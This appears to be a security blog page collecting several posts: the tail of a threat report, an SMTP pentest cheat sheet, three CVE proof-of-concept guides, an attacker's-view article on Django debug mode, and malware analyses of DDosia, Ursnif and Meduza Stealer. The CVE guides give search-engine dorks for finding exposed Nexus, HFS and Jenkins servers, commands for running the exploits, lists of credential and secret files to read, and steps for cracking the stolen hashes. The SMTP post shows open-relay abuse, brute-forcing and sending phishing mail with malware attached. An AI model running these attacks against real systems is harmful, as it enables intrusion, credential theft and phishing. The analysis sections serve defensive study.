  • the certificate doesn’t belong to OOO ТАСК, and it was bought by a fraudster providing fake data to GlobalSign
  • the certificate was stolen from OOO ТАСК, which means that either infrastructure of ООО ТАСК was compromised or email i.shadrin@tacke.ru got compromised
  • ООО ТАСК or it’s employees anyhow involved into fraudulent operations

We can not confirm any of these versions. However we checked domain tacke.ru in the stealer logs cloud and didn’t find any occurrence.

Conclusion

The discovery of the Boolka’s activities sheds light on the evolving landscape of cyber threats. Starting from opportunistic SQL injection attacks in 2022 to the development of his own malware delivery platform and trojans like BMANAGER, Boolka’s operations demonstrate the group’s tactics have grown more sophisticated over time. The injection of malicious JavaScript snippets into vulnerable websites for data exfiltration, and then the use of the BeEF framework for malware delivery, reflects the step-by-step development of the attacker’s competencies.

The analysis reveals the complexity of the malware ecosystem employed by Boolka, with various components such as formstealing scripts, keyloggers, and file stealers orchestrated to achieve malicious objectives. Additionally, the investigation into the signing certificate used by the BMANAGER malware underscores the challenges in attribution and the potential involvement of legitimate entities in illicit activities.

Recommendations

Recommendations for end users:

  • Avoid clicking on suspicious links or downloading files from unknown sources.
  • Download apps and updates only from official sources.
  • Ensure that your operating systems, browsers, and all software are regularly updated.
  • Employ strong, unique passwords for different accounts and use a reputable password manager to keep track of them.
  • Enhance security by enabling multi-factor authentication (MFA) on your accounts wherever possible.
  • Ensure you have reliable and up-to-date security measures like anti-virus software in place to detect and remove threats.

Recommendations for website owners:

  • Conduct frequent security audits and vulnerability assessments to identify and fix potential weaknesses. Group-IB’s Penetration Testing services can help you minimize your susceptibility to web attacks. Our experts work with the latest methods and techniques curated by Group-IB Threat Intelligence to pinpoint assets vulnerable to web injection attacks, and more.
  • Use robust authentication protocols and require strong passwords for all users, along with multi-factor authentication.
  • Ensure all software, including plugins and content management systems, are updated with the latest security patches.
  • Deploy a WAF to monitor and filter malicious traffic targeting your web applications.
  • For advanced cybersecurity teams, we recommend using Group-IB’s Threat Intelligence system, which can be used to detect relevant threats as early as during their preparation stage. The built-in graph analysis tool enriched by data from the largest threat-actor database reveals links between attackers, their infrastructures, and their tools. Enriching cybersecurity with threat intelligence helps significantly strengthen an organization’s ability to counter attacks, including ones carried out by state-sponsored groups.
  • Provide regular training for your staff on the latest security practices and threat awareness.
  • Set up continuous website monitoring for suspicious activities and have an incident response plan ready in case of a breach.
Posted in Cyber Attacks, ExploitsTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Scam, Spyware, vulnerabilityLeave a comment

SMTP/s — Port 25,465,587 For Pentesters

Posted on October 2, 2024 - October 2, 2024 by Maq Verma

SMTP (Simple Mail Transfer Protocol) is a core component of the internet’s email infrastructure, responsible for sending and receiving emails. It’s a protocol within the TCP/IP suite, frequently working alongside POP3 or IMAP to store emails on servers and allow users to access them. Despite its widespread use, SMTP has certain vulnerabilities that make it a popular target for penetration testers and hackers.

SMTP Commands:

HELO It’s the first SMTP command: is starts the conversation identifying the sender server and is generally followed by its domain name.

EHLO An alternative command to start the conversation, underlying that the server is using the Extended SMTP protocol.

MAIL FROM With this SMTP command the operations begin: the sender states the source email address in the “From” field and actually starts the email transfer.

RCPT TO It identifies the recipient of the email; if there are more than one, the command is simply repeated address by address.

SIZE This SMTP command informs the remote server about the estimated size (in terms of bytes) of the attached email. It can also be used to report the maximum size of a message to be accepted by the server.

DATA With the DATA command the email content begins to be transferred; it’s generally followed by a 354 reply code given by the server, giving the permission to start the actual transmission.

VRFY The server is asked to verify whether a particular email address or username actually exists.

TURN This command is used to invert roles between the client and the server, without the need to run a new connaction.

AUTH With the AUTH command, the client authenticates itself to the server, giving its username and password. It’s another layer of security to guarantee a proper transmission.

RSET It communicates the server that the ongoing email transmission is going to be terminated, though the SMTP conversation won’t be closed (like in the case of QUIT).

EXPN This SMTP command asks for a confirmation about the identification of a mailing list.

HELP It’s a client’s request for some information that can be useful for the a successful transfer of the email.

QUIT It terminates the SMTP conversation.

Reconnaissance and Information Gathering

Subdomain Enumeration & DNS Misconfigurations: Before jumping into SMTP directly, expand the reconnaissance section to include subdomain enumeration for deeper target discovery. Tools like amass or sublist3r could be used here to identify potential SMTP servers:Copy

amass enum -d <target-domain>

Subdomains could potentially host misconfigured or less secure SMTP servers.

1.1. Identify Open SMTP Ports

Start by using tools like Nmap to identify open ports, typically 25 (SMTP), 465 (SMTPS), and 587 (Submission over TLS):Copy

nmap -p25,465,587 --open <target-IP>

Using Metasploit:Copy

use auxiliary/scanner/smtp/smtp_enum
set RHOSTS <target-IP>
set THREADS 10
run

1.2. MX Record Discovery

Discover Mail Exchanger (MX) records for the target organization:Copy

dig +short mx <target-domain>

This will return the mail servers responsible for receiving emails for the domain.

1.3. Banner Grabbing

Banner grabbing helps identify the SMTP server version, which could contain known vulnerabilities. Use Netcat or OpenSSL to connect and grab the banner:Copy

nc -vn <target-IP> 25

For secure connections:Copy

openssl s_client -starttls smtp -connect <target-IP>:587

Using Metasploit:Copy

use auxiliary/scanner/smtp/smtp_version

Look for:

  • Server versions
  • Mail server type (Microsoft ESMTP, Postfix, Exim, etc.)
  • Any other information leaks (internal hostnames)

Enumeration and Vulnerability Discovery

2.1. Enumerate SMTP Commands

Use Nmap’s smtp-commands script to enumerate supported SMTP commands. This may give insights into how to interact with the server, and whether certain attack vectors (like relay attacks) are possible.Copy

nmap -p25 --script smtp-commands <target-IP>

2.2. Open Relay Testing

An open SMTP relay can be abused to send spam or phishing emails without authentication. Use the smtp-open-relay Nmap script to test for this vulnerability:Copy

nmap -p25 --script smtp-open-relay <target-IP>

Using Telent:Copy

telnet <target-IP> 25
helo attacker.com
mail from: attacker@attacker.com
rcpt to: victim@target.com
data
This is a test email to verify open relay.
.
quit

If the server is vulnerable, you will be able to send emails without being an authenticated user.

2.3. Verify Users

SMTP servers can sometimes allow username verification using RCPT TO and VRFY commands, revealing valid email accounts on the system.Copy

telnet <target-IP> 25
HELO test.com
MAIL FROM: attacker@attacker.com
RCPT TO: victim@target.com

If you get a 250 OK response, the email address is valid.

You can automate this using tools like smtp-user-enum:Copy

smtp-user-enum -M VRFY -U users.txt -t <target-IP>

Exploiting Information Disclosure and Misconfigurations

3.1. Internal Server Name Disclosure

Some SMTP servers may leak internal server names in the response to commands like MAIL FROM:. For example:Copy

MAIL FROM: attacker@example.com

Response:Copy

250 me@INTERNAL-SERVER.local...Sender OK

This internal information could be used in later attacks.

3.2. NTLM Authentication Information Disclosure

If the SMTP server supports NTLM authentication, you can extract sensitive information by interacting with the authentication process. Copy

nmap --script smtp-ntlm-info.nse -p25 <target-IP>

Using Metasploit:Copy

use auxiliary/scanner/smb/smb_ntlm_credential_dump
set RHOSTS <target-IP>
run

Password Cracking and Credential Harvesting

4.1. Sniffing Cleartext Credentials

SMTP running on port 25 (non-SSL) may allow you to capture email credentials via network sniffing using Wireshark or tcpdump. Look for cleartext AUTH LOGIN or AUTH PLAIN credentials.

Wireshark filter:Copy

tcp.port == 25 && tcp contains "AUTH"

4.2. SMTP Brute-Forcing

If authentication is required but weak credentials are suspected, use brute-forcing tools such as Hydra: Copy

hydra -L users.txt -P passwords.txt smtp://<target-IP> -V

Sending Malicious Emails (Post-Exploitation)

Once access is gained to the SMTP server or an open relay is found, it is possible to send phishing emails, malware, or perform further reconnaissance.

5.1. Send an Email from Linux Command Line

Copy

sendEmail -t victim@target.com -f attacker@malicious.com -s <target-IP> -u "Urgent" -m "Please open the attached document" -a /path/to/malware.pdf

Or use Swaks to send phishing emails:Copy

swaks --to victim@target.com --from attacker@malicious.com --header "Subject: Urgent" --body "Click this link" --server <target-IP>

5.2. Phishing with EICAR Test File

Test antivirus defenses by sending an EICAR test file to see if the server scans attachments for malware. This helps identify email gateway filtering systems:Copy

sendEmail -t victim@target.com -f attacker@malicious.com -s <target-IP> -u "Test" -a /path/to/
Posted in Exploits, ProgrammingTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

POC – CVE-2024–4956 – Nexus Repository Manager 3 Unauthenticated Path Traversal

Posted on October 2, 2024 - October 2, 2024 by Maq Verma

CVE-2024-4956

POC – CVE-2024–4956 – Nexus Repository Manager 3 Unauthenticated Path Traversal

Potentially allowing an attacker to read certain information on Check Point Security Gateways once connected to the internet and enabled with Remote Access VPN or Mobile Access Software Blades. A security fix that mitigates this vulnerability is available.

Read about it — CVE-2024-4956

Disclaimer: This Proof of Concept (POC) is made for educational and ethical testing purposes only. Usage of this tool for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

Finding Targets

To find potential targets, use Fofa (similar to Shodan.io):

  • Fofa Dork: header="Server: Nexus/3.53.0-01 (OSS)"

First, clone the repository

Copy

git clone https://github.com/verylazytech/CVE-2024-4956

Next chose your target and add it to list.txt file in this format:

  • https://ip_address

Run the Exploit

Copy

python3 CVE-2024-4956.py -l list.txt

The output is passwd and shadow files that found:

Crack the hash

Now after you find both file passwd & shadow you can try crack the hash with JohnTheRipper, after running the exploit you have 2 files, passwd & shadow, so you can merge them into one file and try crack them (I used rockyou.txt but it can be any password wordlist):Copy

unshadow passwd shadow > unshadowed.txt 

Copy

john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
Posted in Exploits, ProgrammingTagged Cyber Attacks, Data Security, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

Unauthenticated RCE Flaw in Rejetto HTTP File Server – CVE-2024-23692

Posted on October 2, 2024 - October 2, 2024 by Maq Verma

POC – Unauthenticated RCE Flaw in Rejetto HTTP File Server – CVE-2024-2369

Overview

CVE-2024-23692 is a critical vulnerability in Rejetto HTTP File Server (HFS) version 2.3m, allowing unauthenticated remote code execution (RCE).

This flaw enables attackers to execute arbitrary code on the server, posing significant security risks. In this post, we examine Rejetto HFS, the affected versions, the impact of the vulnerability, and the timeline of its discovery and remediation.

Read about it — CVE-2024-23692

Disclaimer: This Proof of Concept (POC) is made for educational and ethical testing purposes only. Usage of this tool for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

Finding Targets

To find potential targets, use Fofa (similar to Shodan.io):

  • Fofa Dork: "HttpFileServer" && server=="HFS 2.3m"

Cloning the Repository

First, clone the repository:Copy

git clone https://github.com/verylazytech/CVE-2024-23692

Run the Exploit

Copy

./CVE-2024-23692.sh <Target:port>  <cmd>
Posted in Exploits, ProgrammingTagged Cyber Attacks, Data Security, Programming, Reverse EngineeringLeave a comment

CVE-2024–23897 — Jenkins File Read Vulnerability — POC

Posted on October 2, 2024 - October 2, 2024 by Maq Verma

Basic info

CVE-2024-23897 is a critical vulnerability in Jenkins that allows unauthenticated attackers to read arbitrary files on the Jenkins controller’s file system. This flaw arises from improper handling of command arguments in the args4j library, specifically in command-line operations where an @ character followed by a file path can lead to unauthorized file content exposure.

This vulnerability poses a significant risk as it can enable attackers to access sensitive information, such as cryptographic keys and configuration files, which may be leveraged for further exploitation, including remote code execution (RCE). The issue is particularly alarming given the widespread use of Jenkins in CI/CD pipelines and the number of exposed Jenkins instances globally.

A security fix addressing this vulnerability has been released in Jenkins versions 2.442 and later, as well as Jenkins LTS version 2.426.3 and later. Users are strongly advised to upgrade their Jenkins installations to mitigate this risk and protect sensitive information.

Read about it — CVE-2024-23897

Disclaimer: This Proof of Concept (POC) is made for educational and ethical testing purposes only. Usage of this tool for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

Getting Started

Finding Targets

To find potential targets, use Fofa (similar to Shodan.io):

  • Fofa Dork: header=”X-Jenkins: 2.426.2″

Affected Jenkins versions include up to 2.441 and up to 2.426.2 for Jenkins LTS.

Clone the repository:Copy

git clone https://github.com/verylazytech/CVE-2024-23897

Run the Exploit:Copy

python3 CVE-2024-23897.py -u <Victim_ip:port>

Enter the file that you want to read into the shell (this case /etc/passwd):

Some files that could be of interest:

  • /proc/self/environ Environmental variables including JENKINS_HOME
  • /proc/self/cmdline Command-line arguments
  • /var/jenkins_home/users/users.xml User account storage locations
  • /var/jenkins_home/users/<user_directory>/config.xml User BCrypt password hash
  • /var/jenkins_home/secrets/master.key Encryption secret key
  • /etc/hosts Linux local-DNS resolution
  • /etc/passwd Linux user accounts

Genreal Usage

Copy

usage: python3 CVE-2024-23897.py [-h] -u URL [-f FILE] [-t TIMEOUT] [-s] [-o] [-p PROXY] [-v]

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     Jenkins URL
  -f FILE, --file FILE  File path to read
  -t TIMEOUT, --timeout TIMEOUT
                        Request timeout
  -s, --save            Save file contents
  -o, --overwrite       Overwrite existing files
  -p PROXY, --proxy PROXY
                        HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)
  -v, --verbose         Verbosity enabled - additional output flag
Posted in Exploits, ProgrammingTagged Cyber Attacks, Data Security, Programming, Reverse Engineering, vulnerabilityLeave a comment

Why Django’s [DEBUG=True] is a Goldmine for Hackers

Posted on October 2, 2024 - October 2, 2024 by Maq Verma

Misconfigurations are often the weakest link in an otherwise secure environment. One of the most dangerous yet easily overlooked misconfigurations in Django is leaving DEBUG=True in a production environment. From an attacker’s perspective, this is a goldmine for reconnaissance and exploitation. This article explores how attackers can exploit this setting and the top five valuable data types they can retrieve from a vulnerable Django application.

What Does DEBUG=True Do in Django?

In Django, the DEBUG setting controls whether debug information, including error stack traces and detailed request information, is shown when an error occurs. With DEBUG=True, Django outputs a verbose error page containing sensitive information to aid developers during the development process.

From an Attacker’s Point of View:

When an attacker finds a Django site running with DEBUG=True, it’s as though the application is openly offering detailed internal information to help them craft their attack. These verbose error messages contain everything from the server’s environment variables to installed middleware and even potential entry points for attack.

How Attackers Identify Django Sites with DEBUG=True

Scanning the Web for Vulnerable Sites

Attackers use automated tools like Shodan, FOFA, and Censys to scour the web for Django applications. These tools allow attackers to search for specific error messages and patterns associated with DEBUG=True.

Practical Method:

  • FOFA Query:
"DEBUG=True" && "Django" && "RuntimeError"
Django — FOFA

These search engines scan the internet for open ports and services and then analyze the HTTP responses to see if they contain known Django debug patterns. With these search results, attackers can compile a list of vulnerable websites running Django with DEBUG=True.

Data Leaked via Django Debug Pages

When DEBUG=True is set, attackers can harvest valuable information directly from the debug pages.

Practical Data Retrieval:

Full Stack Trace:

  • The stack trace provides insight into how the code executes, where errors occur, and potentially exposed variables in requests and responses.
  • Example:
Traceback (most recent call last): File "/path/to/your/project/views.py"...

Practical Use: Attackers can identify code execution paths and look for points where input is processed, enabling targeted attacks like SQL injection or file inclusion exploits.

Request and Response Data:

  • Attackers gain insight into cookies, CSRF tokens, and headers from both the request and the response.
  • Practical Use: Using this information, attackers can perform session hijacking, steal CSRF tokens, or craft more effective social engineering attacks.
Request Headers: {   'Cookie': 'sessionid=abcd1234; csrftoken=efgh5678...', 
'User-Agent': 'Mozilla/5.0...' }

Installed Applications and Middleware:

Installed apps: ['django.contrib.admin', 'myapp', 'rest_framework'...]

Practical Use: By analyzing installed apps and middleware, attackers can identify vulnerable third-party libraries or unpatched components.

Database and File Paths:

  • While the database password might not be directly shown, other details like the database engine, file paths, and schema are often exposed.
  • Practical Use: Attackers could exploit known vulnerabilities in the database system or file system, or even find files that expose further credentials or sensitive data.

4. Practical Methods for Exploiting a Django DEBUG=True Configuration

Leveraging the Stack Trace

Once a vulnerable site is identified, the next step is to extract as much information as possible from the stack trace. This includes sensitive details like:

  • File paths:
File "/var/www/myapp/views.py" in render

The file path gives an attacker clues about the structure of the server and potential locations of sensitive files (config files, logs, etc.).
Seeing which functions and methods are being called and how they handle input can expose SQL injection points, XSS vulnerabilities, or logic flaws.

CSRF Token Abuse

If an attacker can retrieve the CSRF token, they can carry out Cross-Site Request Forgery attacks. If the token is tied to an active session, an attacker can:

  • Perform unauthorized actions on behalf of a user (e.g., making purchases or transferring funds).
  • Hijack user sessions if combined with a stolen session cookie.
CSRF

Database Exploitation

Attackers can retrieve partial database configurations (such as the database type and schema) from debug pages and combine them with other known vulnerabilities to:

  • Execute SQL injections.
  • Bypass authentication or escalate privileges by understanding how the database queries are processed.

The Top 5 Valuable Data Attackers Can Retrieve from DEBUG=True

SECRET_KEY: While Django tries to hide this in debug output, it is sometimes retrievable through indirect methods or misconfigurations in related files. With the SECRET_KEY, attackers can:

  • Generate forged session tokens.
  • Bypass authentication mechanisms.

Database Credentials: Exposure of database engines or schemas can lead to SQL injection or direct access to the database if credentials are mismanaged.

CSRF Tokens: Once CSRF tokens are exposed, attackers can manipulate user sessions to perform malicious actions or hijack sessions entirely.

Session Cookies: If session cookies are exposed in the request/response data, attackers can steal active user sessions and impersonate legitimate users.

Installed Middleware and Apps: By knowing what middleware and third-party applications are installed, attackers can exploit known vulnerabilities in these packages, especially if they are outdated.

How Developers Can Prevent These Attacks

As you can see, leaving DEBUG=True in production provides attackers with a wealth of sensitive information. To prevent such issues:

  • Always set DEBUG=False in production.
  • Use environment-specific settings to ensure no sensitive data is leaked in error messages.
  • Implement robust logging practices that hide sensitive data but still provide useful information for debugging.

For Django developers, securing applications against misconfigurations like this is crucial to safeguarding against exploitation.

Posted in Exploits, ProgrammingTagged Cyber Attacks, Data Security, Programming, Reverse Engineering, vulnerabilityLeave a comment

Extracting DDosia targets from process memory

Posted on September 2, 2024 - September 2, 2024 by Maq Verma

Introduction

This post is part of an analysis that I have carried out during my spare time, motivated by a friend that asked me to have a look at the DDosia project related to the NoName057(16) group. The reason behind this request was caused by DDosia client changes for performing the DDos attacks. Because of that, all procedures used so far for monitoring NoName057(16) activities did not work anymore.

Before starting to reverse DDosia Windows sample, I preferred to gather as much information as possible about NoName057(16) TTPs and a few references to their samples.

Avast wrote a very detailed article about that project and described thoroughly all changes observed in the last few months. Because of that, before proceeding with this post, If you feel you are missing something, I strongly  recommend that you read their article.

Client Setup

According to the information retrieved from the Telegram channel of DDosia Project, there are a couple of requirements before executing the client. The very first action is to create your id through a dedicated bot that will be used later on for authentication purposes. After that, it’s necessary to put the client_id.txt file (generated from DDosia bot) and the executable file in the same folder. If everything has been done properly, it should be possible to observe that authentication process will be done correctly and the client is going to download targets from its server:

Figure 1: Client authenticated correctly

Figure 1: Client authenticated correctly

Dynamic analysis and process memory inspection

Here we are with the fun part. Because of the issues of analyzing GO binaries statically, I preferred to use a dynamic approach supported by Cape sandbox. In fact, executing the client with Cape it was possible to gather behavioral information to speed up our analysis (ref). Since the executable is going to be used for DDoS attacks, it’s easy to expect that most of the functions are related to network routines. One of the most interesting WindowsAPI refers to WSAStartup. This is interesting for us, because according to Microsoft documentation, it must be the first function to be used in order to retrieve socket implementation for further network operations:

The WSAStartup function must be the first Windows Sockets function called by an application or DLL. It allows an application or DLL to specify the version of Windows Sockets required and retrieve details of the specific Windows Sockets implementation. The application or DLL can only issue further Windows Sockets functions after successfully calling WSAStartup.

Moreover, starting to monitor network requests with Wireshark, give us additional information about client-server interactions and targets retrieving procedure:

Figure 2 - Request for target list

Figure 2 – Request for target list

As already mentioned on Avast blogspot, the target list is encrypted and retrieved after the authentication process. However, performing DDoS attacks requires a decryption routine to make targets in cleartext and forward them to a proper procedure. With this insight, it’s possible to open up a debugger and set a breakpoint of WSAStartup and start exploring the process flow from that point.

Figure 3 - Exploring DDosia executable control flow

Figure 3 – Exploring DDosia executable control flow

Exploring the process execution, it’s possible to observe that WSAStartup API is called two times before starting the attack. The first one has been used from the main thread to perform the authentication process on the server side, instead the second call will be done right after retrieving the target file and it will be used from another thread to start the attack phase. Since that information we are looking for has been already downloaded and hopefully decrypted (at the time of the second call) we could explore the process memory trying to identify our target list.

Figure 4 - Target stored in cleartext within process memoryFigure 4 – Target stored in cleartext within process memory

As we expected, information is actually decrypted right before being used from threads that are in charge to flood the targets. From the cleartext sample, it’s also possible to reconstruct the original json file structure that follow this format:

{"target_id":"435te3af574b95e395847362","request_id":"23cer8c5mmp4434dlad53f2s","host":"www.tartuhly.ee","ip":"90.190.99.85","type":"http","method":"GET","port":443,"use_ssl":true,"path":"/otsi/$_1","body":{"type":"","value":""},"headers":null}

JSON

At this point I have shown all procedures to quickly follow the execution flow until the decryption routine is called. From now on, it’s just a matter of looking for those data within process memory and extracting them for your own purpose. It’s worth noting that information won’t be stored decrypted forever, in fact, as the executable keeps running, the json file is actually mangled in a way that is not easy to resemble it properly.

A little bit of automation

Even if the analysis has been completed and targets are correctly retrieved, I thought that giving a little tool to extract that information would be useful. Instead of doing complex stuff, I wrote two simple scripts called targets.js and recover.py. The purpose of these two files is to allow analysts from different backgrounds to extract those targets, even performing a simple memory dump. Probably there are easier and smarter techniques out there, but it was also a good chance to put in practice DBI, which I have already covered in a previous post.

  • target.js: Frida script that aims to get a memory dump after the WSAStartup has been called for the second time (when payloads are in cleartext in memory).
  • recover.py: it’s a simple python script that retrieves structured information from the files dumped. It’s worth noting that I limited my script to look for structured information, retrieving IP and Hostname (additional improvements are left to user’s needs).

Script Testing

In order to run the mentioned scripts there are two requirements to fulfill:

  • Installing frida-tool (pip install frida-tools).
  • Create a folder named “dumps” in the same place where you run the target.js file.

If all requirements are satisfied it’s just a matter of running those scripts and getting the results. The first step is to run frida.exe, using the targets.js file that contains all the information to dump the process memory:

frida.exe <ddosia_client.exe>  -l targets.js

PowerShell

If everything has been done correctly (please keep in mind the requirements), you should be able to see a message “[END] Memory dumped correctly” in your console.

Figure 5 - Dumping process Memory with Frida

Figure 5 – Dumping process Memory with Frida

Now you can navigate in dumps folder and run the python script using the following command line that is going to forward all dumped file from the current directory to the script that is going to print the result in your console:

python.exe recover.py (Get-Item .\*dump)

PowerShell

Figure 6 - Extracting DDosia targets from dumped files

Figure 6 – Extracting DDosia targets from dump files

Final Notes

Before concluding, It’s worth mentioning that updates on these scripts and new techniques to dealing with further improvements of DDosia project are not going to be shown, because it represents a topic that I’m not following personally and I’m sure that more authoritative voices will keep track of this threat and its evolution.


[2023-11 – UPDATE ]

As mentioned in the section above I’m not able to provide updates on real-time DDosia Project changes, but since it represents a quite good challenge to sharpen my reversing skills on GO binaries (and I received unexpected feedback about this work), I decided to look in their new Windows client version.

Since I would like to keep this update note as brief as possible, I’ll go straight to the point. What really changes and makes the previous frida script ineffective are slightly binary improvements (mostly related to the syscalls used). Because of that I tried to switch monitored syscall to WriteConsoleW, hooking on the message that confirmed the numbers of targets retrieved. I found out that I really needed to change 1 line of the previous script to keep it updated. (Great example of code reuse xD).

Note:

The modification required was pretty easy, however, this change could be also more consistent for further updates (limiting to tweak a little bit with counter variable) since it exploits the feedback messages (e.g., target acquired, requests completed, rewards, etc..) that won’t be removed any time soon.

Moreover, most of this blogpost it’s still a valid reference for setting up the environment and understanding the control flow to retrieve the actual targets, additionally, as far as I know, there were no great changes on the authentication layer. Previous configured environments needs to replace the old binary to the newer provided on DDosia channel.

  • New frida script: console.js

References:

FileNameSha256Date
d_windows_amd64.exe726c2c2b35cb1adbe59039193030f23e552a28226ecf0b175ec5eba9dbcd336e2023/04/19
(new sample) d_win_x64.exe1b53443ebaabafd6f511d4cf7cb85ddf9fa32540c5dd5621f04a3c5eefa663a92023/11/09
Posted in Crack Tutorials, Exploits, Programming, VulnerabilityTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerability2 Comments

Dynamic Binary Instrumentation for Malware Analysis

Posted on September 2, 2024 - September 2, 2024 by Maq Verma

Introduction

Because of the massive Ursnif campaigns that hit Italy during the last weeks, I was looking for a lightweight method to quickly extract the last infection stage of all collected samples, in order to start further analysis effectively. Due to this, I wrote a little frida script that performs basic Dynamic Binary Instrumentation (DBI) to monitor useful function calls and extracts the Ursnif payload. In this article I am going to briefly discuss this script and the steps needed to start analyzing the resulting binary.

Since I would like to skip redundant topics that are already written all over the internet by people that are Jedi in this field, I’m going to limit this post linking references that would be nice to have to understand everything easily.

  • Frida
  • Windows API
  • Ursnif/Gozi

Intercepting function calls

Most of the time, malware, in order to write memory and run code from the newly allocated space, make use of two functions, such as: VirtualAlloc (ref.) and VirtualProtect (ref.). For the purpose of our task, I have chosen the VirtualProtect function, because at the time of its calling, the data (payload) should be already there and it would be easier to analyze.

So let’s start to write out the code that retrieves the reference of this function and the interceptor that is going to be used to monitor function calls entry and return. Thanks to Frida, it is possible to directly retrieve function arguments through the variable args and check their values. The most important parameter and the one that will be used for our purpose is the lpAddress that represents the address space that is involved in this function call.

Figure 1 - References to VirtualProtect and call Interceptor

Figure 1 – References to VirtualProtect and call Interceptor

Because of the purpose of the article we are not interested in all VirtualProtect calls but we would like to limit our scope to ones that contain a PE header.  To do this, it’s possible to verify if lpAddress starts with “MZ” or “5d4a”. If so, we could print out some values in order to check them against the running executable using tools such as ProcessMonitor or ProcessHacker.

Figure 2 - Printing VirtualProtect arguments

Figure 2 – Printing VirtualProtect arguments

Retrieving the payload

Now comes the tricky part. If we simply apply this technique to dump the memory that contains the MZ, it would be possible for us to also dump the binary that we originally started the infection with. However, analyzing Ursnif code, it’s possible to see that it creates a dedicated memory space to write its final stage that is commonly referenced as a DLL. In order to avoid that, it’s possible to use a function findModuleByAddress that belongs to the Process object.

As reported by Frida documentation:

Process.findModuleByAddress(address) returns a Module whose address or name matches the one specified. In the event that no such module could be found, the find-prefixed functions return null whilst the get-prefixed functions throw an exception.

In order to avoid exception handling stuff I have preferred to go with find prefix function and then checking if the Module returned is equal to null. Otherwise, we would have an existing module object and  module.base = image base.

Now, as a final step before moving on and dumping the actual payload, it’s necessary to retrieve the page size to which  lpAddress belongs. That information could be retrieved using the findRangeByAddress that  return an object with details about the range (memory page) containing address.

 Figure 3 - Checking for payload address

Figure 3 – Checking for payload address

Dumping config file

Now that we have all the information required, it’s time to dump the actual Ursnif payload. In order to do this, it’s possible to read the page related to lpAddress using the readByteArray using the module.size. Once the information has been stored, it’s possible to write it in a file that could be used later on for further manipulation and analysis.

 Figure 4 - Dumping Ursnif payload

Figure 4 – Dumping Ursnif payload

It’s worth noting that before proceeding with the configuration extraction phase, it’s necessary to modify Raw addresses and Virtual Addresses of each section  header accordingly. This step is necessary because the payload was extracted directly from memory.

Script Testing

Now that we have completed our script it’s time for testing with a real case! Let’s take one of the recent samples delivered by the TA and see if it works. For this example I have chosen a publicly available sample on MalwareBazar.

Running the script against this sample with Frida as follow:

frida.exe <mal_executable> -l <your_script.js>

It will produce a file called 0x2cf0000_mz.bin (it may vary from the memory address allocation on your machine).

Figure 5 - Ursnif payload extraction with Frida

Figure 5 – Ursnif payload extraction with Frida

If we open this file with PE-Bear, what should alert us, is the import table that contains unresolved information. This happens, because our code has been extracted directly from memory and before proceeding with our analysis it is necessary to map the raw sections addresses with their virtual counterparts (for brevity I have prepared a script that is going to perform these steps automatically). After having settled the addresses properly, it’s possible to proceed with configuration extraction through a custom script (that is out of the scope for this post).

Reference

  • DBI script: mon.py
Posted in Crack Tutorials, Exploits, Programming, VulnerabilityTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

Meduza Stealer or The Return of The Infamous Aurora Stealer

Posted on August 31, 2024 - August 31, 2024 by Maq Verma

Meduza’s Gaze

Meduza Stealer … Yes, you read it right, I did not misspelled it, is a new stealer that appeared on Russian-speaking forums at the beginning of June 2023. The stealer is written in C++ and is approximately 600KB in size. The DLL dependencies are statically linked to the binary, which reduces the detection. It’s also worth noting that the collected logs are not stored on the disk.

meduza1.JPG

The stealer collects the data from 100 browsers which includes Chromium and Gecko browsers.

Chromium Browsers

Google Chrome, Google Chrome Beta, Google Chrome (x86), Google Chrome SxS, 360ChromeX, Chromium, Microsoft Edge, Brave Browser, Epic Privacy Browser, Amigo, Vivaldi, Kometa, Orbitum, Mail.Ru Atom, Comodo Dragon, Torch, Comodo, Slimjet, 360Browser, 360 Secure Browser, Maxthon3, Maxthon5, Maxthon, QQBrowser, K-Meleon, Xpom, Lenovo Browser, Xvast, Go!, Safer Secure Browser, Sputnik, Nichrome, CocCoc Browser, Uran, Chromodo, Yandex Browser, 7Star, Chedot, CentBrowser, Iridium, Opera Stable, Opera Neon, Opera Crypto Developer, Opera GX, Elements Browser, Citrio, Sleipnir5 ChromiumViewer, QIP Surf, Liebao, Coowon, ChromePlus, Rafotech Mustang, Suhba, TorBro, RockMelt, Bromium, Twinkstar, CCleaner Browser, AcWebBrowser, CoolNovo, Baidu Spark, SRWare Iron, Titan Browser, AVAST Browser, AVG Browser, UCBrowser, URBrowser, Blisk, Flock, CryptoTab Browser, SwingBrowser, Sidekick, Superbird, SalamWeb, GhostBrowser, NetboxBrowser, GarenaPlus, Kinza, InsomniacBrowser, ViaSat Browser, Naver Whale, Falkon

Gecko Browsers

Firefox, SeaMonkey, Waterfox, K-Meleon, Thunderbird, CLIQZ, IceDragon, Cyberfox, BlackHawk, Pale Moon, IceCat, Basilisk, BitTube, SlimBrowser

Data from 107 cryptowallets are also collected by Meduza Stealer, including cryptowallet extensions and desktop cryptowallets.

Cryptowallet Extensions

